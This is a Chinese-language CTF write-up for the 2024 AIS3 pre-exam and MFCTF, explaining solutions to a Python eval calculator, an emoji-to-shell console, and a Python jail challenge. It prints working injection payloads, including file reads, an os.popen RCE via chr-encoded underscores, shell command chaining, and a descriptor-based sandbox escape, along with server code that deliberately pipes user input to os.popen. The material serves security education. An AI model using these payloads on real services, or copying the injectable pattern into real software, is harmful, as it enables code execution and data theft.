2024 AIS3 pre-exam & MFCTF writeup

2024 AIS3 pre-exam writeup

這次幫 AIS3 pre-exam 和 MFCTF 出題,出了兩題:一題 web 和一題 misc (但其實兩題都是web)

evil calculator

This is a calculator written in Python. It’s a simple calculator, but some function in it is VERY EVIL!!
Connection info: http://chals1.ais3.org:5001
Author: TriangleSnake

這是一題很簡單的pyjail(?有jail嗎),主要問題出在 eval() function,但是有過濾 _space
因為是warmup題,預期解是用open()讀flag,不會用到_space

1
{"expression":"open('/flag','r').read()"}

當然,你也可以把 _space encode 後 rce

1
{"expression":"eval(eval('chr(95)')+eval('chr(95)')+'import'+eval('chr(95)')+eval('chr(95)')+\"('os').popen('').read()\")"}

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

emoji console

🔺🐍 😡 🅰️ 🆒 1️⃣Ⓜ️🅾️ 🚅☠️✉️ 🥫🫵 🔍🚩⁉️
Connection info: http://chals1.ais3.org:5000
Author: TriangleSnake

這題和資安沒什麼關係,純粹是拼字遊戲,可以隨便按幾個 emoji 後就可以發現他就是把你輸入的 emoji 轉成英文單字後變成一行指令

image

試幾次會發現一些常用的指令,像是 🐱->cat 、 💿->cd ,還有題目剛進去就提示的 🐍->python 和 ⭐->*

  1. 嘗試使用 cat 命令看目錄下面有什麼
    1
    🐱 ⭐
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
for key in emoji_table:
if key in command:
command = command.replace(key,emoji_table[key])
return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/api')
def api():
command = request.args.get('command')

if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
return jsonify({'command':command,'result':'Invalid command'})
command = translate(command)
result = os.popen(command+" 2>&1").read()
return jsonify({'command':command,'result':result})


if __name__ == '__main__':
app.run('0.0.0.0',5000)

{
"😀": ":D",
"😁": ":D",
"😂": ":')",
"🤣": "XD",
"😃": ":D",
"😄": ":D",
"😅": "':D",
"😆": "XD",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"😍": ":)",
"😘": ":*",
"😗": ":*",
"😙": ":*",
"😚": ":*",
"☺️": ":)",
"🙂": ":)",
"🤗": ":)",
"🤩": ":)",
"🤔": ":?",
"🤨": ":/",
"😐": ":|",
"😑": ":|",
"😶": ":|",
"🙄": ":/",
"😏": ":]",
"😣": ">:",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😌": ":)",
"😛": ":P",
"😜": ";P",
"😝": "XP",
"🤤": ":P",
"😒": ":/",
"😓": ";/",
"😔": ":(",
"😕": ":/",
"🙃": "(:",
"🤑": "$)",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😟": ":(",
"😤": ">:(",
"😢": ":'(",
"😭": ":'(",
"😦": ":(",
"😧": ">:(",
"😨": ":O",
"😩": ">:(",
"🤯": ":O",
"😬": ":E",
"😰": ":(",
"😱": ":O",
"🥵": ">:(",
"🥶": ":(",
"😳": ":$",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤬": "#$%&!",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🤫": ":x",
"🤭": ":x",
"🐶": "dog",
"🐱": "cat",
"🐭": "mouse",
"🐹": "hamster",
"🐰": "rabbit",
"🦊": "fox",
"🐻": "bear",
"🐼": "panda",
"🐨": "koala",
"🐯": "tiger",
"🦁": "lion",
"🐮": "cow",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🐤": "baby chick",
"🐣": "hatching chick",
"🐥": "front-facing baby chick",
"🦆": "duck",
"🦅": "eagle",
"🦉": "owl",
"🦇": "bat",
"🐺": "wolf",
"🐗": "boar",
"🐴": "horse",
"🦄": "unicorn",
"🐝": "bee",
"🐛": "bug",
"🦋": "butterfly",
"🐌": "snail",
"🐞": "lady beetle",
"🐜": "ant",
"🦟": "mosquito",
"🦗": "cricket",
"🕷️": "spider",
"🕸️": "spider web",
"🦂": "scorpion",
"🐢": "turtle",
"🐍": "python",
"🦎": "lizard",
"🦖": "T-Rex",
"🦕": "sauropod",
"🐙": "octopus",
"🦑": "squid",
"🦐": "shrimp",
"🦞": "lobster",
"🦀": "crab",
"🐡": "blowfish",
"🐠": "tropical fish",
"🐟": "fish",
"🐬": "dolphin",
"🐳": "whale",
"🐋": "whale",
"🦈": "shark",
"🐊": "crocodile",
"🐅": "tiger",
"🐆": "leopard",
"🦓": "zebra",
"🦍": "gorilla",
"🦧": "orangutan",
"🦣": "mammoth",
"🐘": "elephant",
"🦛": "hippopotamus",
"🦏": "rhinoceros",
"🐪": "camel",
"🐫": "two-hump camel",
"🦒": "giraffe",
"🦘": "kangaroo",
"🦬": "bison",
"🦥": "sloth",
"🦦": "otter",
"🦨": "skunk",
"🦡": "badger",
"🐾": "paw prints",
"◼️": "black square",
"◻️": "white square",
"◾": "black medium square",
"◽": "white medium square",
"▪️": "black small square",
"▫️": "white small square",
"🔶": "large orange diamond",
"🔷": "large blue diamond",
"🔸": "small orange diamond",
"🔹": "small blue diamond",
"🔺": "triangle",
"🔻": "triangle",
"🔼": "triangle",
"🔽": "triangle",
"🔘": "circle",
"⚪": "circle",
"⚫": "black circle",
"🟠": "orange circle",
"🟢": "green circle",
"🔵": "blue circle",
"🟣": "purple circle",
"🟡": "yellow circle",
"🟤": "brown circle",
"⭕": "empty circle",
"🅰️": "A",
"🅱️": "B",
"🅾️": "O",
"ℹ️": "i",
"🅿️": "P",
"Ⓜ️": "M",
"🆎": "AB",
"🆑": "CL",
"🆒": "COOL",
"🆓": "FREE",
"🆔": "ID",
"🆕": "NEW",
"🆖": "NG",
"🆗": "OK",
"🆘": "SOS",
"🆙": "UP",
"🆚": "VS",
"㊗️": "祝",
"㊙️": "秘",
"🈺": "營",
"🈯": "指",
"🉐": "得",
"🈹": "割",
"🈚": "無",
"🈲": "禁",
"🈸": "申",
"🈴": "合",
"🈳": "空",
"🈵": "滿",
"🈶": "有",
"🈷️": "月",
"🚗": "car",
"🚕": "taxi",
"🚙": "SUV",
"🚌": "bus",
"🚎": "trolleybus",
"🏎️": "race car",
"🚓": "police car",
"🚑": "ambulance",
"🚒": "fire engine",
"🚐": "minibus",
"🚚": "delivery truck",
"🚛": "articulated lorry",
"🚜": "tractor",
"🛴": "kick scooter",
"🚲": "bicycle",
"🛵": "scooter",
"🏍️": "motorcycle",
"✈️": "airplane",
"🚀": "rocket",
"🛸": "UFO",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👨": "man",
"👩": "woman",
"👶": "baby",
"🧓": "old man",
"👵": "old woman",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"🖥️": "pc",
"🖨️": "printer",
"⌨️": "keyboard",
"🖱️": "mouse",
"🖲️": "trackball",
"🕹️": "joystick",
"🗜️": "clamp",
"💾": "floppy disk",
"💽": "minidisc",
"☎️": "telephone",
"📟": "pager",
"📺": "television",
"📻": "radio",
"🎙️": "studio microphone",
"🎚️": "level slider",
"🎛️": "control knobs",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⓿": "0",
"❶": "1",
"❷": "2",
"❸": "3",
"❹": "4",
"❺": "5",
"❻": "6",
"❼": "7",
"❽": "8",
"❾": "9",
"❿": "10",
"⭐": "*",
"➕": "+",
"➖": "-",
"✖️": "×",
"➗": "÷"

}cat: flag: Is a directory
cat: templates: Is a directory

現在我們得到一個json有所有指令的對照表,並且可以知道flag應該是在 flag 的資料夾。

嘗試 cat flag 資料夾裡面的東西,可以從剛剛 dump 出來的 json 找可以用的指令,這邊使用;/:|切割指令,回傳的結果似乎是一個 python file

1
💿 🚩😓😑🐱 ⭐ #cd flag;/:|
1
2
3
#flag-printer.py

print(open('/flag','r').read())
  1. 執行python,get flag
    1
    💿 🚩😓😑🐍❸ 🚩➖🖨️⭐

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Can you describe Pyjail?

Yet another 🐍 ⛓️.
nc chals1.ais3.org 48763
Author: Vincent55

這題不是我出的,但是 Vincent 大佬出的題目還是要捧場一下

source code

看source code可以知道是很純的pyjail,在 safe_eval 裡面就把該 ban 的都 ban 光了

跟前面那題 evil calculator 比起來 calculator 一點都不 evil

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/local/bin/python3

from safe_eval import safe_eval
from inspect import getdoc


class Desc:
"""
Welcome to my 🐍 ⛓️
"""

def __get__(self, objname, obj):
return __import__("conf").flag

def desc_helper(self, name):
origin = getattr(type, name)
if origin == type.__getattribute__:
raise NameError(
"Access to forbidden name %r (%r)" % (name, "__getattribute__")
)
self.helper = origin


class Test:
desc = Desc()


test = Test()
test.desc = "flag{fakeflag}"


# Just a tricky way to print a welcome message, or maybe a hint :/
# You can just `print(getdoc(Desc))`
# This is not part of the challenge, but if you can get the flag through here, please contact @Vincent55.
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)


# Your challenge begin here!
payload = input("✏️: ")

safe_eval(
payload,
{"__builtins__": {}},
{"Desc": Desc},
)

# print(f"test.__dict__: {test.__dict__}")
print(f"🚩: {test.desc}")

看完 source code 可以發現他在print welcome_msg 的時候用了一個非常詭異的方法,也算是這題的題示。

welcome_msg到底在幹嘛

首先看到下面這段程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
welcome_msg,
{"__builtins__": {}},
{"Desc": Desc, "print": print, "getdoc": getdoc},
)

其實會發現你可以透過 getattr(type, name) 取得type底下的attribute
這裡會卡一個知識點,就是當你要取得某個 class 的 subclass 的時候(假設是 str ),會寫 str.__subclasses__() ,但其實可以寫成 type.__subclasses__(str) ,前提是 strclass 必須是 type

所以我們可以先透過 getattr(type,"__subclasses__") 取得 type.__subclasses__ 再把 __base__ 塞進去就可以得到 type.__base__.__subclasses__()

好到這邊大家應該已經搞懂上面那陀 welcome_msg 的 payload 到底在幹嘛了,簡單來說就是到 object 裡面把所有 class 抓出來,然後抓倒數第2個 class (jail.Desc)把它印出來

解題

一開始想改抓 jail.Test 下面的 desc 就可以拿到 flag
抓是抓得到,但是print不出來啊

1
a = Desc();a.desc_helper("__base__");obj=a.helper;a = Desc();a.desc_helper("__subclasses__");obj = a.helper(obj)[-1].desc

這邊又卡一個知識點了,那就是 python 的 descriptor 解析有優先度的問題(題目有提示describe,雖然我覺得沒有人看得懂)

以下參考 @Vincent550102 的筆記:

  • 如果 __get__ 與 __set__ 都有,優先使用描述器(Descriptor):
    當一個描述器同時實現了 __get__ 和 __set__ 方法時,Python 會認為它是一個資料描述器(Data Descriptor)。資料描述器的一個特點是它們對屬性的訪問有更高的優先級。
    如果不是,則在自己的 __dict__ 裡面找:
  • 如果描述器沒有作為資料描述器或者只實現了 __get__ 方法的非資料描述器(Non-Data Descriptor)或者找不到描述器,Python 會繼續在物件的 __dict__ 屬性字典中尋找是否存在該屬性。
  • 若在 __dict__ 也找不到,嘗試用描述器的 __get__:
    如果在物件的 dict 中找不到該屬性,Python 會檢查是否存在只實現了 get 方法的非資料描述器,如果存在,則回傳該描述器的 __get__ 方法。
    都沒有,直接回傳描述器:
  • 如果上述步驟都無法找到該屬性,最後會返回描述器物件本身,如果連描述器也不存在,則會拋出 AttributeError。

看到這邊,問題已經變很簡單了,那就是我們需要將 __get__ 變成最高優先級,此時後面就算 fake_flag 把 test.desc 蓋掉也沒有用,仍然會回傳 Test.__get__() 的內容

如何將 __get__ 變成最高優先級呢?只要新增一個 __set__ 就行了

1
2
func = lambda self,obj,val:None
desc.__setattr__("__set__",func)
1
2
#payload
(a := Desc(),a.desc_helper("__base__"),obj:=a.helper,a := Desc(),a.desc_helper("__subclasses__"),desc:=a.helper(obj)[-2],a:=Desc(),a.desc_helper("__setattr__"),func:=lambda self,obj,val:None,a.helper(desc,"__set__",func))

AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}